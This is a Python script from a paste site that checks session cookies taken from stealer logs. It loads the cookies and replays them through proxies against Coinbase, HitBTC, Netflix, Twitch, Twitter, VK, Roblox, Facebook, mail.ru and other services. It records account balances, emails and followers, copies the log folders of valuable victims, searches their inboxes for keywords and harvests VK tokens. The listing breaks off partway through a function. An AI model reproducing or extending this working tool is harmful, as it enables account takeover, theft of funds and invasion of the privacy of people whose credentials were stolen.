· 4 years ago · May 03, 2021, 09:26 AM
1import subprocess, uuid, math, requests, json, time, sys, threading, os, datetime, socks, shutil, http.client
2from typing import Optional
3import glob, random, re, datetime as DT
4from bs4 import BeautifulSoup as bs
5import hashlib
6jnb = False
7checked = 0
8yt_cookies = []
9vk_cookies = []
10inst_cookies = []
11VK_CHECKED, YT_CHECKED, INST_CHECKED, AMAZON_CHECKED, STEAM_CHECKED, EPIC_CHECKED, TWITCH_CHECKED = (0,
12 0,
13 0,
14 0,
15 0,
16 0,
17 0)
18http.client._MAXHEADERS = 1000000
19COOKIE_TYPE = '1'
20proxies = None
21proxy_mode = None
22
23def err(e, exit=True):
24 input(e)
25 if exit:
26 sys.exit()
27
28
29def all_accounts(req, cookies):
30 r = req.get('https://www.youtube.com/channel_switcher?next=%2Faccount&feature=settings', cookies=cookies)
31 soup = bs(r.text, 'html.parser')
32 res = []
33 all_channel_urls = soup.find_all('div', attrs={'class': 'highlight'})
34 for i in all_channel_urls:
35 res.append(i.find('a', attrs={'class': 'yt-uix-button yt-uix-sessionlink yt-uix-button-default yt-uix-button-size-default'}).get('href'))
36
37 return res
38
39
40def get_proxies_from_file(file_name='proxies.txt'):
41 global proxies
42 try:
43 with open(file_name, 'r', encoding='utf-8') as (pf):
44 proxies = pf.read().splitlines()
45 except FileNotFoundError:
46 err(f"file {file_name} not found")
47 except Exception as e:
48 try:
49 err(f"get_proxies_from_file: {e}")
50 finally:
51 e = None
52 del e
53
54
55def get_path(path):
56 new_path = ''
57 counter = 0
58 for i in path:
59 if i == '\\':
60 counter += 1
61 if counter >= 2:
62 break
63 new_path += i
64
65 return new_path
66
67
68def wnd() -> Optional[uuid.UUID]:
69 try:
70 txt = subprocess.check_output('wmic csproduct get uuid').decode()
71 match = re.search('\\bUUID\\b[\\s\\r\\n]+([^\\s\\r\\n]+)', txt)
72 if match is not None:
73 txt = match.group(1)
74 if txt is not None:
75 txt = re.sub('[^0-9A-Fa-f]+', '', txt)
76 if len(txt) == 32:
77 return uuid.UUID(txt)
78 except:
79 pass
80
81
82def json_to_cookie(filename, service):
83 cookies = {}
84 try:
85 with open(filename, 'r', encoding='utf-8') as (fp):
86 json_data = json.loads(fp.read())
87 for data in json_data:
88 try:
89 if service in data['domain']:
90 cookies[data['name']] = data['value']
91 except Exception:
92 continue
93
94 except UnicodeDecodeError:
95 with open(filename, 'r') as (fp):
96 json_data = json.loads(fp.read())
97 for data in json_data:
98 try:
99 if service in data['domain']:
100 cookies[data['name']] = data['value']
101 except Exception:
102 continue
103
104 return cookies
105
106
107def get_unix_time():
108 return float(time.time())
109
110
111def convert_date_to_unix(date):
112 return time.mktime(date.timetuple())
113
114
115def text_to_sha1(text):
116 hash_object = hashlib.sha1(text.encode())
117 return hash_object.hexdigest()
118
119
120def hide(key):
121 new_string = ''
122 for i in range(len(key)):
123 new_string += chr(ord(key[i]) - 1)
124
125 new_string = text_to_sha1(new_string)
126 return new_string
127
128
129def unhide_s(list):
130 strs = str(wnd())
131 s = hide(strs)
132 try:
133 for i in list:
134 if s in i:
135 g = i.split('_')[1]
136 if get_unix_time() > float(g):
137 print('No lic')
138 input('1')
139 sys.exit()
140 else:
141 value = datetime.datetime.fromtimestamp(int(g))
142 a = 'Licensed until '
143 print(f"{a}{value.strftime('%Y-%m-%d %H:%M:%S')}")
144 return True
145
146 except:
147 input('Error....')
148 sys.exit()
149
150
151def ani():
152 print('No lic')
153 while True:
154 input()
155
156
157def download_info(a):
158 try:
159 if a:
160 with open('info.json', 'r', encoding='utf-8') as (read_file):
161 to = json.load(read_file)
162 return to
163 except Exception as err:
164 try:
165 print('Ошибка при загрузке info,json')
166 input()
167 finally:
168 err = None
169 del err
170
171
172def unhide(string):
173 new_string = ''
174 for i in range(len(string)):
175 new_string += chr(ord(string[i]) + 1)
176
177 return new_string
178
179
180def gain_start():
181 r = False
182 try:
183 sub = requests.get('https://github.com/ffx-n/shitty/blob/master/ls.txt')
184 count = bs(sub.content, 'html.parser')
185 except:
186 print('invalid v')
187 sys.exit()
188
189 try:
190 to = count.find('table', attrs={'class': 'highlight tab-size js-file-line-container'}).text.replace('\n', '')
191 if 'sppawwqdas' in to:
192 list = to.split(' ')
193 r = unhide_s(list)
194 else:
195 input('G')
196 sys.exit()
197 except Exception as err:
198 try:
199 input(f"Critical error - {err}")
200 sys.exit()
201 finally:
202 err = None
203 del err
204
205
206def new_start():
207 try:
208 sub = requests.get('https://github.com/ffx-n/shitty/blob/master/lic.txt')
209 count = bs(sub.content, 'html.parser')
210 except:
211 print('invalid v')
212 sys.exit()
213
214 try:
215 to = count.find('table', attrs={'class': 'highlight tab-size js-file-line-container'}).text.replace('\n', '')
216 if 'sppawwqdas' in to:
217 list = to.split(' ')
218 a = str(wnd())
219 for i in list:
220 i = unhide(i)
221 if a in i:
222 time = i.split('_')[1]
223 if get_unix_time() > float(time):
224 print('No lic')
225 ani()
226 else:
227 value = datetime.datetime.fromtimestamp(int(time))
228 a = 'Licensed until '
229 print(f"{a}{value.strftime('%Y-%m-%d %H:%M:%S')}")
230 return True
231
232 ani()
233 except Exception as err:
234 try:
235 print(f"Critical error - {err}")
236 import time
237 time.sleep(1000000)
238 finally:
239 err = None
240 del err
241
242
243def kr():
244 global jnb
245 try:
246 sub = requests.get('https://github.com/ffx-n/shitty/blob/master/ba.txt')
247 count = bs(sub.content, 'html.parser')
248 except Exception as err:
249 try:
250 print('invalid s')
251 sys.exit()
252 finally:
253 err = None
254 del err
255
256 try:
257 to = count.find('table', attrs={'class': 'highlight tab-size js-file-line-container'}).text.replace('\n', '')
258 list = to.split(' ')
259 a = str(wnd())
260 for i in list:
261 if a in i:
262 time = i.split('_')[1]
263 if get_unix_time() > float(time):
264 print('Default version activated')
265 continue
266 value = datetime.datetime.fromtimestamp(int(time))
267 print(f"PRO Licensed until {value.strftime('%Y-%m-%d %H:%M:%S')}")
268 jnb = True
269
270 except Exception as err:
271 try:
272 print(f"Critical error - {err}")
273 import time
274 time.sleep(1000000)
275 finally:
276 err = None
277 del err
278
279
280def format_json(dictionary):
281 from itertools import chain, starmap
282
283 def unpack(parent_key, parent_value):
284 """ Рекурсивное распаковывание JSON данных """
285 if isinstance(parent_value, dict):
286 for key, value in parent_value.items():
287 temp1 = parent_key + '_' + key
288 yield (temp1, value)
289
290 else:
291 if isinstance(parent_value, list):
292 i = 0
293 for value in parent_value:
294 temp2 = parent_key + '_' + str(i)
295 i += 1
296 yield (temp2, value)
297
298 else:
299 yield (
300 parent_key, parent_value)
301
302 while 1:
303 dictionary = dict(chain.from_iterable(starmap(unpack, dictionary.items())))
304 if not any((isinstance(value, dict) for value in dictionary.values())) or any((isinstance(value, list) for value in dictionary.values())):
305 break
306
307 return dictionary
308
309
310def get_settings_from_file(file_name='settings.json'):
311 try:
312 with open(file_name, 'rb') as (f):
313 return json.loads(f.read())
314 except FileNotFoundError:
315 print('Не найден файл settings.json')
316 except json.decoder.JSONDecodeError:
317 try:
318 with open(file_name, 'rb') as (f):
319 data = f.read().decode().replace(' ', '').replace('\r', '').replace('\n', '')
320 data = re.sub(',}', '}', data)
321 return json.loads(data)
322 except json.decoder.JSONDecodeError:
323 with open(file_name, 'r', encoding='utf-8-sig') as (f):
324 data = f.read().replace(' ', '').replace('\r', '').replace('\n', '')
325 data = re.sub(',}', '}', data)
326 return json.loads(data)
327
328
329def files_reader(flag):
330 print('Ищу куки...')
331 all_dirs = glob.glob('data\\*')
332 all_cooks = []
333 for i in all_dirs:
334 for d, dirs, files in os.walk(f"{i}"):
335 for f in files:
336 if not flag == '1' or '.txt' in f and ('Cook' in f or 'cook' in f or 'default' in f or 'Default' in f):
337 path = os.path.join(d, f)
338 all_cooks.append(path)
339 elif flag == '2':
340 if '.txt' in f:
341 path = os.path.join(d, f)
342 all_cooks.append(path)
343 elif flag == 'wallets':
344 if 'wallet.dat' in f:
345 path = os.path.join(d, f)
346 all_cooks.append(path)
347
348 return all_cooks
349
350
351def save_cookies_yt(folder_name, cookie_name, channel_name, subs):
352 global yt_cookies
353 try:
354 file_name = f"{subs}subs_{random.randint(1, 100000000)}.txt"
355 if not os.path.exists(folder_name):
356 os.mkdir(folder_name)
357 if channel_name not in yt_cookies or channel_name == 'No channel':
358 cookie_file = open((f"{cookie_name}"), 'r', encoding='utf-8')
359 results = open(f"{folder_name}//{file_name}", 'w', encoding='utf-8')
360 results.write(f"{cookie_file.read()}")
361 results.close()
362 cookie_file.close()
363 yt_cookies.append(channel_name)
364 except Exception as err:
365 try:
366 cookie_file = open((f"{cookie_name}"), 'r')
367 results = open(f"{folder_name}//{file_name}", 'w')
368 results.write(f"{cookie_file.read()}")
369 results.close()
370 cookie_file.close()
371 yt_cookies.append(channel_name)
372 finally:
373 err = None
374 del err
375
376
377def siner_coo(folder_name, cookie_name, followers):
378 try:
379 file_name = f"{followers}_{random.randint(1, 100000000)}.txt"
380 if not os.path.exists(folder_name):
381 os.mkdir(folder_name)
382 cookie_file = open((f"{cookie_name}"), 'r', encoding='utf-8')
383 results = open(f"{folder_name}//{file_name}", 'w', encoding='utf-8')
384 results.write(f"{cookie_file.read()}")
385 results.close()
386 cookie_file.close()
387 except Exception as err:
388 try:
389 cookie_file = open((f"{cookie_name}"), 'r')
390 results = open(f"{folder_name}//{file_name}", 'w')
391 results.write(f"{cookie_file.read()}")
392 results.close()
393 cookie_file.close()
394 finally:
395 err = None
396 del err
397
398
399def save_cookies(folder_name, cookie_name):
400 try:
401 if os.path.exists(folder_name):
402 cookie_file = open((f"{cookie_name}"), 'r', encoding='utf-8')
403 results = open(f"{folder_name}//{folder_name}{random.randint(1, 100000000)}.txt", 'w', encoding='utf-8')
404 results.write(f"{cookie_file.read()}")
405 results.close()
406 cookie_file.close()
407 else:
408 os.mkdir(folder_name)
409 cookie_file = open((f"{cookie_name}"), 'r', encoding='utf-8')
410 results = open(f"{folder_name}//{folder_name}{random.randint(1, 100000000)}.txt", 'w', encoding='utf-8')
411 results.write(f"{cookie_file.read()}")
412 results.close()
413 cookie_file.close()
414 except UnicodeDecodeError as err:
415 try:
416 try:
417 if os.path.exists(folder_name):
418 cookie_file = open((f"{cookie_name}"), 'r')
419 results = open(f"{folder_name}//{folder_name}{random.randint(1, 100000000)}.txt", 'w', encoding='utf-8')
420 results.write(f"{cookie_file.read()}")
421 results.close()
422 cookie_file.close()
423 else:
424 os.mkdir(folder_name)
425 cookie_file = open((f"{cookie_name}"), 'r')
426 results = open(f"{folder_name}//{folder_name}{random.randint(1, 100000000)}.txt", 'w', encoding='utf-8')
427 results.write(f"{cookie_file.read()}")
428 results.close()
429 cookie_file.close()
430 except Exception as err:
431 try:
432 pass
433 finally:
434 err = None
435 del err
436
437 finally:
438 err = None
439 del err
440
441
442def open_cookie_json(cookie_name, service):
443 with open(cookie_name, 'r') as (read_file):
444 data = json.load(read_file)
445 cookie = {}
446 for i in range(0, len(data)):
447 try:
448 if service in data[i]['domain']:
449 cookie[data[i]['name']] = f"{data[i]['value']}"
450 except:
451 continue
452
453 return cookie
454
455
456def check_all(all_cooks, start, end, settings):
457 global checked
458 for i in range(start, end):
459 try:
460 if settings['services']['BITPICK'] == 1:
461 try:
462 check_bit_pick(all_cooks[i], settings)
463 except:
464 pass
465
466 if settings['services']['EPICGAMES'] == 1:
467 try:
468 check_epic(all_cooks[i], settings)
469 except:
470 pass
471
472 if settings['services']['GOOGLE_PAY'] == 1:
473 if jnb:
474 try:
475 check_google_cards(all_cooks[i], settings)
476 except:
477 pass
478
479 if settings['services']['KRYPTEX'] == 1:
480 if jnb:
481 try:
482 check_kryptex(all_cooks[i], settings)
483 except:
484 pass
485
486 if settings['services']['YANDEX_SEARCH'] == 1:
487 try:
488 yandex_messages(all_cooks[i], settings)
489 except:
490 pass
491
492 if settings['services']['WORDPRESS'] == 1:
493 try:
494 check_wordpress(all_cooks[i], settings)
495 except:
496 pass
497
498 if settings['services']['FAUCETPAY'] == 1:
499 try:
500 check_faucetpay(all_cooks[i], settings)
501 except:
502 pass
503
504 if settings['services']['TIKTOK'] == 1:
505 try:
506 check_tiktok(all_cooks[i], settings)
507 except:
508 pass
509
510 if settings['services']['PATHOFEXILE'] == 1:
511 try:
512 check_pathofexile(all_cooks[i], settings)
513 except:
514 pass
515
516 if settings['services']['TWITTER'] == 1:
517 try:
518 check_twitter(all_cooks[i], settings)
519 except:
520 pass
521
522 if settings['services']['MAIL_RU'] == 1:
523 try:
524 check_mail(all_cooks[i], settings)
525 except:
526 pass
527
528 if settings['services']['FREEBITCOIN'] == 1:
529 try:
530 check_free_bitcoin(all_cooks[i], settings)
531 except:
532 pass
533
534 if settings['services']['FUNPAY'] == 1:
535 try:
536 check_funpay(all_cooks[i], settings)
537 except:
538 pass
539
540 if settings['services']['VK'] == 1:
541 try:
542 check_vk(all_cooks[i], settings)
543 except:
544 pass
545
546 if settings['services']['TWITCH'] == 1:
547 try:
548 check_twitch(all_cooks[i], settings)
549 check_twitch_pay(all_cooks[i], settings)
550 check_twitch_affiliate(all_cooks[i], settings)
551 except:
552 pass
553
554 if settings['services']['STEAM'] == 1:
555 try:
556 check_steam(all_cooks[i], settings)
557 except:
558 pass
559
560 if settings['services']['YT'] == 1:
561 try:
562 check_youtube(all_cooks[i], settings)
563 except:
564 pass
565
566 if settings['services']['BATTLE'] == 1:
567 try:
568 if jnb:
569 check_battlenet_games(all_cooks[i], settings)
570 else:
571 check_battlenet(all_cooks[i], settings)
572 except:
573 pass
574
575 if settings['services']['INSTAGRAM'] == 1:
576 try:
577 check_instagram(all_cooks[i], settings)
578 except:
579 pass
580
581 if settings['services']['FACEBOOK_ADS'] == 1:
582 try:
583 if jnb:
584 check_facebook_ads(all_cooks[i], settings)
585 except:
586 pass
587
588 if settings['services']['FACEBOOK'] == 1:
589 try:
590 check_facebook(all_cooks[i], settings)
591 except:
592 pass
593
594 if settings['services']['ROBLOX'] == 1:
595 try:
596 check_roblox(all_cooks[i], settings)
597 except:
598 pass
599
600 if settings['services']['NETFLIX'] == 1:
601 try:
602 check_netflix(all_cooks[i], settings)
603 except:
604 pass
605
606 if settings['services']['HUMBLE'] == 1:
607 try:
608 check_humble(all_cooks[i], settings)
609 except:
610 pass
611
612 if settings['services']['COINBASE'] == 1:
613 try:
614 check_coinbase(all_cooks[i], settings)
615 except:
616 pass
617
618 elif settings['services']['HITBTC'] == 1:
619 try:
620 check_hitbtc(all_cooks[i], settings)
621 except:
622 pass
623
624 checked += 1
625 except Exception as err:
626 try:
627 checked += 1
628 continue
629 finally:
630 err = None
631 del err
632
633
634kr()
635
636def get_random_proxy():
637 random_proxy = random.choice(proxies)
638 try:
639 ip, port, username, password = random_proxy.split(':')
640 return {'https': f"{proxy_mode}://{username}:{password}@{ip}:{port}"}
641 except ValueError:
642 return {'https': f"{proxy_mode}://{random_proxy}"}
643
644
645def conn(obj, url, headers=None, params=None, json=None, data=None, cookies=None, timeout=3, allow_404=False):
646 if proxy_mode != 0:
647 conn_counter = 20
648 while conn_counter > 0:
649 try:
650 proxy = get_random_proxy()
651 if not headers:
652 headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36'}
653 r = obj(url=url, headers=headers, params=params, data=data, cookies=cookies,
654 proxies=proxy,
655 json=json,
656 timeout=timeout)
657 if allow_404:
658 if r.status_code == 404:
659 return r
660 if r.status_code == 200:
661 return r
662 conn_counter -= 1
663 except Exception as e:
664 try:
665 conn_counter -= 1
666 continue
667 finally:
668 e = None
669 del e
670
671 else:
672 headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36'}
673 r = obj(url=url, headers=headers, params=params, data=data, cookies=cookies)
674 return r
675
676
677a = new_start()
678
679def net_to_cookie(filename, service):
680 global COOKIE_TYPE
681 cookies = {}
682 if COOKIE_TYPE == '1':
683 try:
684 with open(filename, 'r', encoding='utf-8') as (fp):
685 for line in fp:
686 try:
687 if not re.match('^\\#', line):
688 if service in line:
689 lineFields = line.strip().split('\t')
690 cookies[lineFields[5]] = lineFields[6]
691 except Exception as err:
692 try:
693 continue
694 finally:
695 err = None
696 del err
697
698 except UnicodeDecodeError:
699 with open(filename, 'r') as (fp):
700 for line in fp:
701 try:
702 if not re.match('^\\#', line):
703 if service in line:
704 lineFields = line.strip().split('\t')
705 cookies[lineFields[5]] = lineFields[6]
706 except Exception as err:
707 try:
708 continue
709 finally:
710 err = None
711 del err
712
713 else:
714 cookies = {}
715 try:
716 with open(filename, 'r', encoding='utf-8') as (fp):
717 json_data = json.loads(fp.read())
718 for data in json_data:
719 try:
720 if service in data['domain']:
721 cookies[data['name']] = data['value']
722 except Exception:
723 continue
724
725 except UnicodeDecodeError:
726 with open(filename, 'r') as (fp):
727 json_data = json.loads(fp.read())
728 for data in json_data:
729 try:
730 if service in data['domain']:
731 cookies[data['name']] = data['value']
732 except Exception:
733 continue
734
735 return cookies
736
737
738def check_hitbtc(cookie_name, settings):
739 try:
740 cookie = net_to_cookie(cookie_name, 'hitbtc')
741 except:
742 cookie = {}
743
744 if len(cookie) > 1:
745 try:
746 headers = {'x-csrf-token': cookie['csrf']}
747 r = conn((requests.get), 'https://hitbtc.com/sub-accounts/transfer-emails-list', cookies=cookie, headers=headers)
748 data = r.json()
749 email = data['data'][0]['email']
750 save_results('HitBTC', 'HitBTC.txt', f"Valid session with mail {email}\nCookie:{cookie_name}\n")
751 if settings['settings']['save_hitbtc_logs'] == 1:
752 save_logs('HitBTC', cookie_name, f"Valid session with mail {email}\nCookie:{cookie_name}\n")
753 print('found HIT BTC!')
754 except:
755 pass
756
757
758def check_bit_pick(cookie_name, settings):
759 try:
760 cookie = net_to_cookie(cookie_name, 'bitpick.co')
761 except:
762 cookie = {}
763
764 if len(cookie) > 1:
765 try:
766 r = conn((requests.get), 'https://bitpick.co/', cookies=cookie)
767 soup = bs(r.text, 'html.parser')
768 balance = soup.find('div', attrs={'class': 'top_balance'}).text
769 if balance:
770 print(f"Found bitpick! balance: {balance}")
771 save_results('BitPick', f"{balance}_{random.randint(1, 100000)}.txt", f"Balance:{balance}\nCookie:{cookie_name}")
772 if settings['settings']['save_bitpick_logs'] == 1:
773 save_logs('BitPick', cookie_name, f"Balance: {balance}\nCookie:{cookie_name}")
774 except Exception as err:
775 try:
776 pass
777 finally:
778 err = None
779 del err
780
781
782def check_coinbase(cookie_name, settings):
783 try:
784 cookie = net_to_cookie(cookie_name, 'coinbase')
785 except:
786 cookie = {}
787
788 if len(cookie) > 1:
789 try:
790 headers = {'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0',
791 'Origin':'https://www.coinbase.com'}
792 session = requests.Session()
793 r = conn((session.get), 'https://www.coinbase.com/accounts', cookies=cookie, headers=headers)
794 r = conn((session.get), 'https://www.coinbase.com/api/v2/hold-balances?', cookies=cookie)
795 data = json.loads(r.text)
796 balance = f"{data['data']['total_portfolio_balance']['amount']}{data['data']['total_portfolio_balance']['currency']}"
797 save_results('Coinbase', 'Coinbase.txt', f"Balance: {balance}\nCookie:{cookie_name}")
798 if settings['settings']['save_coinbase_logs'] == 1:
799 shutil.copytree(get_path(cookie_name), f"Coinbase\\{get_path(cookie_name).replace('data', '')}")
800 save_results(f"Coinbase\\{get_path(cookie_name).replace('data', '')}", 'Coinbase_checked_info.txt', f"Balance: {balance}\nCookie:{cookie_name}")
801 except Exception as err:
802 try:
803 pass
804 finally:
805 err = None
806 del err
807
808
809def check_humble(cookie_name, settings):
810 try:
811 cookie = net_to_cookie(cookie_name, 'humblebundle')
812 except:
813 cookie = {}
814
815 if len(cookie) > 1:
816 try:
817 r = conn((requests.get), 'https://www.humblebundle.com/user/wallet?hmb_source=navbar', cookies=cookie)
818 soup = bs(r.text, 'html.parser')
819 balance = soup.find('div', attrs={'class': 'balance'}).text
820 save_results('Humble', 'Humblebundle.txt', f"Cookie:{cookie_name}{balance}{'========================================'}")
821 if settings['settings']['save_humble_logs'] == 1:
822 shutil.copytree(get_path(cookie_name), f"Humble\\{get_path(cookie_name).replace('data', '')}")
823 save_results(f"Humble\\{get_path(cookie_name).replace('data', '')}", 'Humble_checked_info.txt', f"Cookie:{cookie_name}{balance}")
824 except:
825 pass
826
827
828def check_free_bitcoin(cookie_name, settings):
829 try:
830 cookie = net_to_cookie(cookie_name, 'freebitco.in')
831 except:
832 cookie = {}
833
834 if len(cookie) > 1:
835 try:
836 r = conn((requests.get), 'https://freebitco.in/', cookies=cookie)
837 soup = bs(r.text, 'html.parser')
838 balance = soup.find('span', attrs={'id': 'balance'}).text
839 print(f"Balance: {balance} BTC \nCookie:{cookie_name}")
840 if not os.path.exists('Freebtc'):
841 os.mkdir('Freebtc')
842 elif float(balance) > float(settings['save_filters']['freebtc_min_balance']):
843 path_to_save = f"Freebtc\\Freebtc_{settings['save_filters']['freebtc_min_balance']}+"
844 save_results(path_to_save, 'freebitcoin.txt', f"Balance: {balance}\nCookie:{cookie_name}")
845 else:
846 path_to_save = 'Freebtc'
847 save_results(path_to_save, 'freebitcoin.txt', f"Balance: {balance}\nCookie:{cookie_name}")
848 if settings['settings']['save_freebtc_logs'] == 1:
849 save_logs(path_to_save, cookie_name, 'Balance: {balance}\nCookie:{cookie_name}')
850 except:
851 pass
852
853
854def check_twitter(cookie_name, settings):
855 try:
856 cookie = net_to_cookie(cookie_name, 'twitter')
857 except:
858 cookie = {}
859
860 if len(cookie) > 1:
861 try:
862 r = conn((requests.get), 'https://twitter.com/home?prefetchTimestamp=1610987178934', cookies=cookie)
863 json_data = r.text.split('__INITIAL_STATE__=')[1].split(',"responsive_web_eu_countries":')[0]
864 for i in json_data.split(','):
865 if '"followers_count"' in i:
866 followers = i.replace('"followers_count":', '')
867 if 'friends_count' in i:
868 friends = i.replace('"friends_count":', '')
869 if '"name":' in i:
870 name = i.replace('"name":', '')
871 if 'protected' in i:
872 protected = bool(i.replace('"protected":', ''))
873 if '"verified"' in i:
874 verified = bool(i.replace('"verified":', ''))
875
876 text_to_insert = f"Followers: {followers}\nFriends:{friends}\nName:{name}\nProtected:{protected}\nVerified:{verified}\nCookie:{cookie_name}"
877 print(f"Found Twitter account with {followers} followers")
878 save_results('Twitter', f"{followers}followers_{random.randint(1, 1000000)}.txt", text_to_insert)
879 if settings['settings']['save_twitter_logs'] == 1:
880 save_logs('Twitter', cookie_name, text_to_insert)
881 if settings['cookies']['twitter'] == 1:
882 siner_coo('Twitter_cookies', cookie_name, followers)
883 except Exception as err:
884 try:
885 pass
886 finally:
887 err = None
888 del err
889
890
891def check_mail(cookie_name, settings):
892 if not os.path.exists('mail_ru'):
893 os.mkdir('mail_ru')
894 headers = {'accept-language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3',
895 'user-agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0'}
896 try:
897 cookie = net_to_cookie(cookie_name, 'mail.ru')
898 except:
899 cookie = {}
900
901 if len(cookie) > 1:
902 try:
903 query = settings['other']['mailru_query'].split(',')
904 session = requests.Session()
905 for i in query:
906 r = conn((session.get), f"https://m.mail.ru/search/gosearch?q_query={i}&q_folder=all", cookies=cookie, headers=headers)
907 soup = bs(r.text, 'html.parser')
908 messages_count = soup.find_all('a', attrs={'class': 'messageline__link'})
909 if len(messages_count) >= 1:
910 folder_name = get_path(cookie_name).split('\\')[1]
911 try:
912 save_logs(f"mail_ru\\{i}", cookie_name, f"Query:{i} || Messages found : {len(messages_count)}\nCookie:{cookie_name}")
913 except:
914 pass
915
916 os.rename(f"mail_ru\\{i}\\{folder_name}", f"mail_ru\\{i}\\{len(messages_count)}_{i}_{random.randint(1, 100000000)}")
917
918 except Exception as err:
919 try:
920 pass
921 finally:
922 err = None
923 del err
924
925
926def get_vk_token(cookie):
927 try:
928 session = requests.Session()
929 url = 'https://oauth.vk.com/authorize?client_id=3116505&scope=1073737727&redirect_uri=https://oauth.vk.com/blank.html&display=page&response_type=token&revoke=1'
930 r = conn((session.get), url, cookies=cookie)
931 soup = bs(r.text, 'html.parser')
932 link = soup.find('form').get('action')
933 r = conn((session.get), link, cookies=cookie)
934 token = r.url
935 token = token.split('token=')[1]
936 token = token.split('&')[0]
937 save_results('VK_tokens', 'tokens.txt', f"{token}\n")
938 except:
939 pass
940
941
942def check_twitch(cookie_name, settings):
943 session = requests.Session()
944 try:
945 cookie = net_to_cookie(cookie_name, 'twitch')
946 except:
947 cookie = {}
948
949 if len(cookie) > 1:
950 try:
951 auth = cookie['auth-token']
952 url = 'https://gql.twitch.tv/gql'
953 headers = {'Authorization':f"OAuth {auth}", 'Client-id':'kimne78kx3ncx6brgo4mv6wki5h1ko',
954 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36'}
955 data = [{'operationName':'Core_Services_Spade_CurrentUser', 'variables':{}, 'extensions':{'persistedQuery': {'version':1, 'sha256Hash':'482be6fdcd0ff8e6a55192210e2ec6db8a67392f206021e81abe0347fc727ebe'}}}]
956 r = conn((session.post), url, headers=headers, cookies=cookie, json=data)
957 info = r.json()[0]['data']['currentUser']
958 isTurbo = info['hasTurbo']
959 prime = info['hasPrime']
960 channel_url = f"https://www.twitch.tv/{info['login']}"
961 save_results('Twitch', 'Twitch.txt', f"Valid session Twitch || Turbo - {isTurbo} || Prime - {prime} || URL - {channel_url} || Cookie:{cookie_name}")
962 if settings['settings']['save_twitch_logs'] == 1:
963 save_logs('Twitch', cookie_name, f"Valid session Twitch || Turbo - {isTurbo} || Prime - {prime} || URL - {channel_url} || Cookie:{cookie_name}")
964 if settings['cookies']['twitch'] == 1:
965 save_cookies('Twitch_cookies', cookie_name)
966 except Exception as err:
967 try:
968 pass
969 finally:
970 err = None
971 del err
972
973
974def save_results(folder_name, file_name, text_to_insert):
975 now = DT.datetime.now(DT.timezone.utc).astimezone()
976 time_format = '%H:%M:%S'
977 if os.path.exists(folder_name):
978 results = open(f"{folder_name}//{file_name}", 'a', encoding='utf-8')
979 results.write(f"{text_to_insert}\n\n")
980 results.close()
981 else:
982 os.mkdir(folder_name)
983 results = open(f"{folder_name}//{file_name}", 'a', encoding='utf-8')
984 results.write(f"{text_to_insert}\n\n")
985 results.close()
986
987
988def save_logs(folder_name, cookie_name, text_to_insert):
989 try:
990 shutil.copytree(get_path(cookie_name), f"{folder_name}\\{get_path(cookie_name).replace('data', '')}")
991 save_results(f"{folder_name}\\{get_path(cookie_name).replace('data', '')}", f"{folder_name}_checked_info.txt", f"{text_to_insert}\n\n")
992 except Exception as err:
993 try:
994 pass
995 finally:
996 err = None
997 del err
998
999
1000def check_netflix(cookie_name, settings):
1001 global url_settings
1002 try:
1003 cookie = net_to_cookie(cookie_name, 'netflix')
1004 except:
1005 cookie = {}
1006
1007 if len(cookie) > 1:
1008 try:
1009 r = conn((requests.get), (url_settings['services']['netflix']), cookies=cookie)
1010 soup = bs(r.text, 'html.parser')
1011 plan = soup.find_all('section', attrs={'class': url_settings['local']['netflix']})[1].find('div', attrs={'class': 'account-section-item'}).text
1012 email = soup.find('div', attrs={'class': 'account-section-item account-section-email'}).text
1013 save_results('Netflix', 'netflix.txt', f"email - {email} || Plan - {plan}\nCookie:{cookie_name}")
1014 if settings['settings']['save_netflix_logs'] == 1:
1015 save_logs('Netflix', cookie_name, f"email - {email} || Plan - {plan}\nCookie:{cookie_name}")
1016 except Exception as err:
1017 try:
1018 pass
1019 finally:
1020 err = None
1021 del err
1022
1023
1024def check_roblox(cookie_name, settings):
1025 try:
1026 cookie = net_to_cookie(cookie_name, 'roblox')
1027 except:
1028 cookie = {}
1029
1030 if len(cookie) > 1:
1031 try:
1032 r = conn((requests.get), (url_settings['services']['roblox']), cookies=cookie)
1033 soup = bs(r.text, 'html.parser')
1034 id = soup.find('meta', attrs={'name': url_settings['local']['roblox']}).get('data-userid')
1035 print(id)
1036 premium = soup.find('meta', attrs={'name': url_settings['local']['roblox']}).get('data-ispremiumuser')
1037 r = conn((requests.get), f"https://economy.roblox.com/v1/users/{id}/currency", cookies=cookie)
1038 robux = r.json()['robux']
1039 name = soup.find('meta', attrs={'name': 'user-data'})
1040 name = name.get('data-name')
1041 save_results('Roblox', 'roblox.txt', f"ROBUX: {robux} || NAME: {name} || Premium: {premium}\n Cookie:{cookie_name}")
1042 if settings['settings']['save_roblox_logs'] == 1:
1043 save_logs('Roblox', cookie_name, f"ROBUX: {robux} || NAME: {name} || Premium: {premium}\n Cookie:{cookie_name}")
1044 except:
1045 pass
1046
1047
1048def check_facebook(cookie_name, settings):
1049 try:
1050 cookie = net_to_cookie(cookie_name, 'facebook')
1051 except:
1052 cookie = {}
1053
1054 if len(cookie) > 1:
1055 try:
1056 r = conn((requests.get), (url_settings['services']['facebook']), cookies=cookie)
1057 valid = r.text.split('CurrentUserInitialData')[1]
1058 valid = valid.find('"ACCOUNT_ID":"0"')
1059 if valid == -1:
1060 print('Facebook valid session')
1061 save_results('Facebook', 'Facebook.txt', f"Valid session facebook:{cookie_name}")
1062 if settings['settings']['save_facebook_logs'] == 1:
1063 save_logs('Facebook', cookie_name, f"Valid session facebook:{cookie_name}")
1064 except Exception as err:
1065 try:
1066 pass
1067 finally:
1068 err = None
1069 del err
1070
1071
1072def check_wordpress(cookie_name, settings):
1073 try:
1074 cookie = net_to_cookie(cookie_name, 'wordpress')
1075 except:
1076 cookie = {}
1077
1078 if len(cookie) > 1:
1079 try:
